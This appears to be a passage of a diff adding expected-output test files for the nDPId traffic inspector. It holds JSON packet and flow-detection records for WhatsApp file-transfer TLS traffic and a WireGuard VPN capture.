+00448{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":311,"source":"whatsappfiles.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1519924240,"pkt_ts_usec":121220,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"XEl5dU5qkLkxKPrKCABFAABAAABAAEAG5oDAqAIduTzYNcIiAbuCj0EnAAAAALDC\/\/+6MAAAAgQFtAEDAwYBAQgKKOd3WAAAAAAEAgAA"} +00442{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":312,"source":"whatsappfiles.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1519924240,"pkt_ts_usec":177946,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"kLkxKPrKXEl5dU5qCABFAAA8AABAAFUG0YS5PNg1wKgCHQG7wiLPr2ypgo9BKKASbTgw1AAAAgQFggQCCAq3hjooKOd3WAEDAwg="} +00430{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":313,"source":"whatsappfiles.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1519924240,"pkt_ts_usec":182174,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"XEl5dU5qkLkxKPrKCABFAAA0AABAAEAG5ozAqAIduTzYNcIiAbuCj0Eoz69sqoAQCAXEZQAAAQEICijnd5W3hjoo"} +01133{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":314,"source":"whatsappfiles.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1519924240,"pkt_ts_usec":183173,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"XEl5dU5qkLkxKPrKCABFAAI5AABAAEAG5IfAqAIduTzYNcIiAbuCj0Eoz69sqoAYCAWCiQAAAQEICijnd5a3hjooFgMBAgABAAH8AwNLVHn\/qWaqe3EcBfpck7lkGf95e1gm1h4KmRyfvYLGZSCx8n8z8XDJ+pVmShGZO5o0rp2h9+q5RbYekK14EkkJrwAowCzAK8AkwCPACsAJzKnAMMAvwCjAJ8AUwBPMqACdAJwAPQA8ADUALwEAAYv\/AQABAAAAABkAFwAAFG1tZy1mbmEud2hhdHNhcHAubmV0ABcAAAAjAMBMhNjUH0CTvBnqiVFQaCRU+XdLmaAKsl6RhTDQdfjln21DO\/iuWwaZv7o0tRnrD0zGXfKLE21hGZsgP5yp6jr2e7zLS8WzWE70eK8AvPN\/2PjRvQ2KQLFih5DQ\/7VS1GZgxdE1esumsOXZvO8dCDRl\/ywTNL5\/eViaZ7Hv3xuhTsvPPVj0WmGTBPBd2Ojt+5YFTF6Vikm\/vwOo1oRafYFUsHDDXtp5HL7hG8EbbmkYJAuTL5bcgEDz3EgkXrvdezoADQAUABIEAwgEBAEFAwgFBQEIBgYBAgEABQAFAQAAAAAzdAAAABIAAAAQADAALgJoMgVoMi0xNgVoMi0xNQVoMi0xNAhzcGR5LzMuMQZzcGR5LzMIaHR0cC8xLjEACwACAQAACgAIAAYAHQAXABgAFQAuAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00811{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":314,"source":"whatsappfiles.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":4,"flow_first_seen":1519924240121,"flow_last_seen":1519924240183,"flow_tot_l4_data_len":665,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":166,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.29","dst_ip":"185.60.216.53","src_port":49698,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WhatsAppFiles","breed":"Acceptable","category":"Download-FileTransfer-FileSharing"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mmg-fna.whatsapp.net","ja3":"4e1a414c4f4c99097edd2a9a98e336c8","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,h2-16,h2-15,h2-14,spdy\/3.1,spdy\/3,http\/1.1"}} +00430{"flow_id":2,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":315,"source":"whatsappfiles.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1519924240,"pkt_ts_usec":243918,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"kLkxKPrKXEl5dU5qCABFAAA0Vs5AAFUGer65PNg1wKgCHQG7wiLPr2yqgo9DLYAQAHLJsAAAAQEICreGOmoo53eW"} +00632{"flow_id":2,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":316,"source":"whatsappfiles.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1519924240,"pkt_ts_usec":244034,"pkt_caplen":212,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":212,"pkt_l4_len":178,"pkt":"kLkxKPrKXEl5dU5qCABFAADGVs9AAFUGeiu5PNg1wKgCHQG7wiLPr2yqgo9DLYAYAHK+xQAAAQEICreGOmoo53eWFgMDAFoCAABWAwMLRBt1h0+Ajb66OiYB8NNd0wKhDeQemNCYHWdmUob\/sCCx8n8z8XDJ+pVmShGZO5o0rp2h9+q5RbYekK14EkkJr8ArAAAO\/wEAAQAAEAAFAAMCaDIUAwMAAQEWAwMAKCefUt2iPQKuNPxVIK+TBqcb15iKo36mH+uDwU\/pzNiwUl4kJCwY2Lg="} +00867{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":316,"source":"whatsappfiles.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":6,"flow_first_seen":1519924240121,"flow_last_seen":1519924240244,"flow_tot_l4_data_len":875,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.29","dst_ip":"185.60.216.53","src_port":49698,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WhatsAppFiles","breed":"Acceptable","category":"Download-FileTransfer-FileSharing"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mmg-fna.whatsapp.net","ja3":"4e1a414c4f4c99097edd2a9a98e336c8","ja3s":"96681175a9547081bf3d417f1a572091","unsafe_cipher":0,"cipher":"TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256","alpn":"h2,h2-16,h2-15,h2-14,spdy\/3.1,spdy\/3,http\/1.1"}} +00430{"flow_id":2,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":317,"source":"whatsappfiles.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1519924240,"pkt_ts_usec":248126,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"XEl5dU5qkLkxKPrKCABFAAA0AABAAEAG5ozAqAIduTzYNcIiAbuCj0Mtz69tPIAQCAPBTQAAAQEICijnd9a3hjpq"} +00500{"flow_id":2,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":318,"source":"whatsappfiles.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1519924240,"pkt_ts_usec":249124,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"XEl5dU5qkLkxKPrKCABFAABnAABAAEAG5lnAqAIduTzYNcIiAbuCj0Mtz69tPIAYCAN6CAAAAQEICijnd9a3hjpqFAMDAAEBFgMDACgAAAAAAAAAANdfhyIP4+1Mi6+0AJlnmtiOXBq8OASkMp6UrXYXlEpc"} +00504{"flow_id":2,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":319,"source":"whatsappfiles.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1519924240,"pkt_ts_usec":254122,"pkt_caplen":119,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":119,"pkt_l4_len":85,"pkt":"XEl5dU5qkLkxKPrKCABFAABpAABAAEAG5lfAqAIduTzYNcIiAbuCj0Ngz69tPIAYCAO+EgAAAQEICijnd9u3hjpqFwMDADAAAAAAAAAAAauzMkgQ0N+NwIi4B1AH6wgdJgK7X8Q7cVpebPo9K0xiVYBRpILWCsU="} +00502{"flow_id":2,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":320,"source":"whatsappfiles.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1519924240,"pkt_ts_usec":254126,"pkt_caplen":116,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":116,"pkt_l4_len":82,"pkt":"XEl5dU5qkLkxKPrKCABFAABmAABAAEAG5lrAqAIduTzYNcIiAbuCj0OVz69tPIAYCAPQRgAAAQEICijnd9u3hjpqFwMDAC0AAAAAAAAAAmFnpgjORwk8oq90nd2tyh8VTc2tO6n\/Z0sD6qO57Ry5JLQTilw="} +00490{"flow_id":2,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":321,"source":"whatsappfiles.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1519924240,"pkt_ts_usec":255120,"pkt_caplen":108,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":108,"pkt_l4_len":74,"pkt":"XEl5dU5qkLkxKPrKCABFAABeAABAAEAG5mLAqAIduTzYNcIiAbuCj0PHz69tPIAYCAO49gAAAQEICijnd9y3hjpqFwMDACUAAAAAAAAAAw4lY\/RXECpBhLX1bSNKQwoQHaB7U0UdeY8FT4Wu"} +00737{"flow_id":2,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":322,"source":"whatsappfiles.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1519924240,"pkt_ts_usec":255124,"pkt_caplen":290,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":290,"pkt_l4_len":256,"pkt":"XEl5dU5qkLkxKPrKCABFAAEUAABAAEAG5azAqAIduTzYNcIiAbuCj0Pxz69tPIAYCAMluwAAAQEICijnd9y3hjpqFwMDANsAAAAAAAAABAnxCfWOecoK+43GJ7tLm2RmkIHeG7mEMaMvmJFJuz\/IDQiz6GYF89+O\/CAwOu+htaIl5YNKFiAGjA9S1YIScC0U6tbele0v9p+wygdy0uLaSvPi3WjJmc6fg66MyBQsdeyz9Y7A07CFaLIdfuObF25SX0h6YOBzH3cB6yBiSIq8uRa7czogf8n8\/heQxioQwfZda6QxWf8jXKUMC0ZtHFwBL2MUd8T25BFAhhvhbL8+CJJLntdrM6QoG8dkJ3Pn8xtSaxdoMqnCHda1Ha495l++vYo="} +00544{"flow_id":2,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":323,"source":"whatsappfiles.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1519924240,"pkt_ts_usec":303930,"pkt_caplen":147,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":147,"pkt_l4_len":113,"pkt":"kLkxKPrKXEl5dU5qCABFAACFVtBAAFUGemu5PNg1wKgCHQG7wiLPr208go9DYIAYAHJd7gAAAQEICreGOqco53fWFwMDAEwnn1Ldoj0Cr5\/Im58b20pVNsEUdlvAxt5j+2mE6973guqJvkeaSOw7r5BrbRlq9NgfbBt7cCvCjOmKkI3k1Bgn5\/BcHUaq6GBshCdh"} +00431{"flow_id":2,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":324,"source":"whatsappfiles.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1519924240,"pkt_ts_usec":306082,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"XEl5dU5qkLkxKPrKCABFAAA0AABAAEAG5ozAqAIduTzYNcIiAbuCj0TRz69tjYAQCAG+5AAAAQEICijneA+3hjqn"} +00486{"flow_id":2,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":325,"source":"whatsappfiles.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1519924240,"pkt_ts_usec":306087,"pkt_caplen":104,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":104,"pkt_l4_len":70,"pkt":"XEl5dU5qkLkxKPrKCABFAABaAABAAEAG5mbAqAIduTzYNcIiAbuCj0TRz69tjYAYCAGn0QAAAQEICijneA+3hjqnFwMDACEAAAAAAAAABZSoQs4Gsxi2Tj\/BQp5xrm7kfCitYcqpn3Y="} diff --git a/test/results/wireguard.pcap.out b/test/results/wireguard.pcap.out new file mode 100644 index 000000000..7b72ddf99 --- /dev/null +++ b/test/results/wireguard.pcap.out @@ -0,0 +1,17 @@ +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"wireguard.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1563973554628,"flow_last_seen":0,"flow_tot_l4_data_len":808,"flow_min_l4_data_len":808,"flow_max_l4_data_len":808,"flow_avg_l4_data_len":808,"midstream":0,"l3_proto":"ip4","src_ip":"139.162.192.157","dst_ip":"192.168.0.14","src_port":51820,"dst_port":36116,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01487{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"wireguard.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1563973554,"pkt_ts_usec":628757,"pkt_caplen":842,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":842,"pkt_l4_len":808,"pkt":"OCxKuzMdABAY3q0FCABFAAM8FXkAADURYEKLosCdwKgADspsjRQDKLH1BAAAAL5AaY1rAAAAAAAAANUJ2VrXQI01RZfJr8PEwgZEhNNcu6x03VWSZ67dhAHHTWKcRpBFkk8NVHd\/C4D4pz\/puWqoUUxKuxxH6YlcxuxAvZFB0Na5O4CW6jEyMIx3UMKSHboRTInUKfs0ifRWz\/ah3LYVezBxxWAse8HA4hp9J+12MZT8TmyygIwyCCaeEvoUQjFc6leSZrAZpKnPNseLUtXq9seSkA+QHufBd5P\/nAxkid4Fwq057VLJqJcJvFJRIdSNrsUBNHlMd2O226LQDMo6+sXnZNRhM\/0lY6T99lZ2rtutA5g+LROCm\/BZLu+Ww0aOhZ9T5CPKvl1MXzbqDpHjEWohQohUG62HCabsLz2Pl6HJpafmxv\/xXmUvqTxvWO5iYVSI4YH0rzZVN3aVdPUxgXYG+W8rSU+st0bg\/OnAMZWFzotivj2mfqRsGMWV3egRFwhvlfe7Fuv0OvGM3s9ZvinFAlmQZqUDOt74G5zoedU\/69v6LWqjWqMgwmKLQ\/lMwt2MnS6hiTwk\/iqPpTIM8RYnxG13RvjKDr4JXT\/U7OnZL63BA8kKbkL5zeTL+gL4bvPs8T4bLqWJpX+KPgKK5qcCbrRIXtRaFjvffCmBHmxiams\/n7B6m2DssFWcjX1Ev1oBu1UMKN6t2aeneW6ZYl4Q+afpKmmTZbh75sYoA8rPXxM4Q6E\/CvQ8xKFJuG12US4vfj96Tg+HLqjTKQn0aT3tP\/WRrjoWHz5nOKAwY2ssdZ\/sOQ7Z4I975oMYqMkolPHC\/IQyZ00spefKrUv00QdKXcsmU90gzx2i\/XncJUiW6+cRr5y\/xIasdRDvxOeWrnEuyr4eneiO5Pi37MXP8f2E65R6K8EWKkhOt2QxypTL9OYJAB3d80dQUxikTgyJwcF9uQEqgJNA\/GZhO2rBxL\/P3ze0It5qd4umjz9rSz1Tj4x9V7iRrPWik7ncKTUF\/OLBOu3ao3EyUG8u2N+GMLh6DNMnc3AMj260R63yyZIj87BZpn+95duhzSfs8I4u6YbCy54JPpusEK7oluD\/Hy2\/DI77VPA2QYc="} +00588{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"wireguard.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1563973554,"pkt_ts_usec":628780,"pkt_caplen":186,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":186,"pkt_l4_len":152,"pkt":"OCxKuzMdABAY3q0FCABFAACsFXoAADURYtGLosCdwKgADspsjRQAmIUlBAAAAL5AaY1sAAAAAAAAAApaAsrtXpH1hJEWMIaMon2Jp07DYKtFnos9KJ2dxNXsnPOlMw8teGIqqtQyAhfCvZKfSoj8FKmPC1PCtu8qqniK567s\/wF6cALr5IJXHXdFnmr1I94kKjzDU62XCT24xGedWrUZRek84+e2Fsx1lJJ6NR9cFgw9VnO9J77GX8hL"} +00524{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"wireguard.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1563973554,"pkt_ts_usec":628915,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"ABAY3q0FOCxKuzMdCABFAAB8LYcAAEARP\/TAqAAOi6LAnY0UymwAaNyeBAAAAG2mYV5wAAAAAAAAAAo35XrmOHswcilnP2QelKUcrUyMt+9zQAFDeYSUJyyw9BNkc7uq5jhjxm51P1MBuT08PEWRrzriFSk+BrqayZkHU3Oi+bUZJb76bMmarQhF"} +00765{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"wireguard.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1563973554,"pkt_ts_usec":642219,"pkt_caplen":314,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":314,"pkt_l4_len":280,"pkt":"ABAY3q0FOCxKuzMdCABFAAEsLY4AAEARPz3AqAAOi6LAnY0UymwBGEmaBAAAAG2mYV5xAAAAAAAAAN5Ok0twWoOc3RX\/pBAmM5A4ttcyiSnr6WlIZ3rw0bHvyhJ8D0gFIaNhxkibunbxRgGXjlWZ99hJmuC6tQZVIrGyeoMJlogcU2ClZA6z15\/EtpzcXY3I+CEXh+Z9iqr2KZVCGuC0MXTHXbARADST6kVD8xHIEc4v0mzYC7k51yygUmbpSItW\/AA444wfSuDNmUbiY4K6LA3k\/CPu2j6keZRenRNezN\/II1ww58lLjPExI9BPRB1+PF7znwM0R3fflSkyQ5tURRe9xKq9gD77tIEtmEPJinN8ZwbFdxDLT4hg5tE5HwK3DHMsaD5svhmlGUYurJQySzz\/oUE7ajjVW1A="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"wireguard.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":4,"flow_first_seen":1563973554628,"flow_last_seen":1563973554642,"flow_tot_l4_data_len":1344,"flow_min_l4_data_len":104,"flow_max_l4_data_len":808,"flow_avg_l4_data_len":336,"midstream":0,"l3_proto":"ip4","src_ip":"139.162.192.157","dst_ip":"192.168.0.14","src_port":51820,"dst_port":36116,"l4_proto":"udp","ndpi": {"proto":"WireGuard","breed":"Acceptable","category":"VPN"}} +00525{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"wireguard.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1563973554,"pkt_ts_usec":711201,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"OCxKuzMdABAY3q0FCABFAAB8FcIAADURYrmLosCdwKgADspsjRQAaAbHBAAAAL5AaY1tAAAAAAAAAPpGK9K5H5VHV22UlCuzckhifHXG0mCPbNY7tJ3Ehp5q9DbTenVPM\/dETy5WTx4iR6yiQjK\/qZpSgBD1KbJ+XOoBt2B9Juw3RjALxSawFkyQ"} +00785{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"wireguard.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1563973554,"pkt_ts_usec":734641,"pkt_caplen":330,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":330,"pkt_l4_len":296,"pkt":"OCxKuzMdABAY3q0FCABFAAE8FcgAADURYfOLosCdwKgADspsjRQBKLKwBAAAAL5AaY1uAAAAAAAAAA7P3gsnfqyHSkxVvk7ZUFfTs5uId8MR1z\/P++3DU89F58u2KSBC89E+TMwoo5vdIMJsT+b7A709MaciSbaelRStCwO5ZHba2yhLzuruktuPjiNIsswqDnfibWXsnF+j4ERJh\/qJKXlzotU8KGVfs3A\/MVxVeJz4RCiD9OutpTiyTZH5LA9aw3ADvoaPd3eDEzJlPLuKOab0J9G0siyGPuaN2cX4sA5O942yloPoD+JsBf\/I39eYbc2nNxpH8g9awDhFPsYLC2g8MqV3gZYHPKs8UajcENjPNY+h3kSsFkuQY4BIfZQ+mgr+5rf4E0AshweBq\/HM2Ka\/WmNJdKPdtd4HzfWy+F5vIZKbjE+7T2oM"} +00593{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"wireguard.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1563973554,"pkt_ts_usec":734739,"pkt_caplen":186,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":186,"pkt_l4_len":152,"pkt":"OCxKuzMdABAY3q0FCABFAACsFckAADURYoKLosCdwKgADspsjRQAmPsQBAAAAL5AaY1vAAAAAAAAAITu3wDVXS368ItNAaVwMwjjRLVcNvVyuKrBBn063\/VBY12\/vwBEErru4spuPmrGypdGz\/UMiwcGWV5Om9YZ\/aZEE3ZsgtATf9elbHoOLv6ksVHc3uwicicZMqOiUnBjSs\/7\/X3asoaOF+ayxeJFWuVfsTeKcXNeAn+nepd3ymgm"} +00524{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"wireguard.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1563973554,"pkt_ts_usec":735025,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"ABAY3q0FOCxKuzMdCABFAAB8LaUAAEARP9bAqAAOi6LAnY0UymwAaFWNBAAAAG2mYV5yAAAAAAAAAPMJxgmF97YKIv3RJCYIHeMPJgeM\/RZWWn6eBSJEI9wIHK1OKYt7mfYz5CHShOmaVJQYH8+pKP0QEewtefvNyURiItsDkM8xReRe8OfW4rWl"} +00741{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"wireguard.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1563973554,"pkt_ts_usec":735724,"pkt_caplen":298,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":298,"pkt_l4_len":264,"pkt":"ABAY3q0FOCxKuzMdCABFAAEcLaYAAEARPzXAqAAOi6LAnY0UymwBCIMOBAAAAG2mYV5zAAAAAAAAAHhCo8yDazWnyAT+lNmjxtq+IimMkzliqNoDK6v2f3Ihl8yVBvvgtrVnShoX0Y6jm2lXBqZ+fkyJDBln24epcVpvqLIrWsiQb2t0LBlhrBR5KLPvRipaU7HMslv45q6u++LAPOzeE+jew8nPfnXoo1Ir9r3ogm9ZHpzifq2YdPpGvZLGWePcY9u8o5hN+2RGPtY9ObYebSzu0\/QQ2z+odOzeHyDpCE+01xS0KNEFocG6mM2xKxmZ6rVtsLnEGFXjinzYH\/T2y1gb0pSsUjSe07JjD0tXme6v01Sle1GPsq8eZE9Qx4IISPU+VnvqCJAN7w=="} +00527{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"wireguard.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1563973554,"pkt_ts_usec":849160,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"OCxKuzMdABAY3q0FCABFAAB8FjAAADURYkuLosCdwKgADspsjRQAaMDSBAAAAL5AaY1wAAAAAAAAAG1G7u5yBxZg2JUKp0+aYXNkdBKRCXTxTs2Qz0iIhRpWj4KCCIHEc1W9G3wlK9ux\/bfjkALMxG3HGKiCsaaIFP1Hjd6PXopXAsXn\/cKTp+mS"} +01238{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"wireguard.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1563973554,"pkt_ts_usec":973640,"pkt_caplen":666,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":666,"pkt_l4_len":632,"pkt":"OCxKuzMdABAY3q0FCABFAAKMFqQAADURX8eLosCdwKgADspsjRQCeIrJBAAAAL5AaY1xAAAAAAAAADO1d7qpNTHdcy7vBr61XyrTj1rcjH9q1NoCUkZfktZR0EW6wfGCY1wQaucTHbXxrQPWkRhsGU778kxJdh3cW+Y1zf\/pnc0xQYqL+0qPEnolHIGhjHeoRWmcs1JHuvahR8VulSDVZq7Po5dW1ifgBpXaHhhZagCaLf2EO\/QCh4Gj2uUkExsCOvVZCl3VFejg+bku6oo2aoU7GN0pgoWrcYoY1nLyepl4A5xZ8IKkBmghRxwwLLW0Yv1uaNhIZTOcMFSgSCmvjcn6cl59gF6krbMhAWhk6zWdVpbRvxCB23YpjSYLdBgx7+1AguNrVNPNd1NnUeVZqDAEs+LHXhRgaRsIW6G0VXsP04dvicymvTNKf+xOoplPx82ZBw+qyrs2Jz7TErIrB0JBZwncsKK2KEAQEShsIFo6J4QcF0sHO02P3Zdt4ysX2ZXpZNCDxJtlXvzYYUVvBY9n+C+VszRzaoJ\/PZxy+pphFlO5gn2VGqQaJyKMejIXz4MsTKSL+FxAjwVS\/Nuj4HPCClP1gO0gyJZa3+YnbPjnDQGkAdqrBkmGZg0h2bkNJrnD9VarQCXM6eTotvAiTugbbHDUe7Uzwdr\/1t6Pzk5c\/1me2RY9Lmt7hBFzEjpRFko3xEZTe5+lJ2CpMnzqs+ZduxXY7u4Ccy2XP3RYwvMuHEzjCw58CAcYIu0iLn\/VZehTzGXlcTh4s8MjynPHL55vC\/9f7cw8nubPcMkje5xxtjbL0iuNszV7pDHms\/GpNJbxLiHDqSYqo3e676lWzduMXlesKcBhdDHehFKCx45T++x0D4gzFIv1"} +00592{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"wireguard.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1563973554,"pkt_ts_usec":973820,"pkt_caplen":186,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":186,"pkt_l4_len":152,"pkt":"OCxKuzMdABAY3q0FCABFAACsFqUAADURYaaLosCdwKgADspsjRQAmP2RBAAAAL5AaY1yAAAAAAAAANapKXCwC90mjFmPDaVmRo5cyhieGmyS28OW9p3OU02M0MQnXGriCnr7W+oZrfnIYuNL3BLZwxUMwv9URBU7L0bjcgXxdplFO6\/V9iWI3JOAQDjq3+wA\/B2cxPnnQMmMwzRv+YZ\/DSnYZYqB3O7lDkLWKukUjOT1YDaqyD6MQDcZ"} +00526{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"wireguard.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1563973554,"pkt_ts_usec":974260,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"ABAY3q0FOCxKuzMdCABFAAB8LiUAAEARP1bAqAAOi6LAnY0UymwAaB+LBAAAAG2mYV50AAAAAAAAAI9tfKVIx7UlVy1HDhAUrAMjKdLduP+OEpWHLBE394laW3jJ0Lqa7HURy6krpFGEtykTq3N\/a3bbxUi+nKzrcQPN9N7PTqi9qMcJcRZfRaJH"} 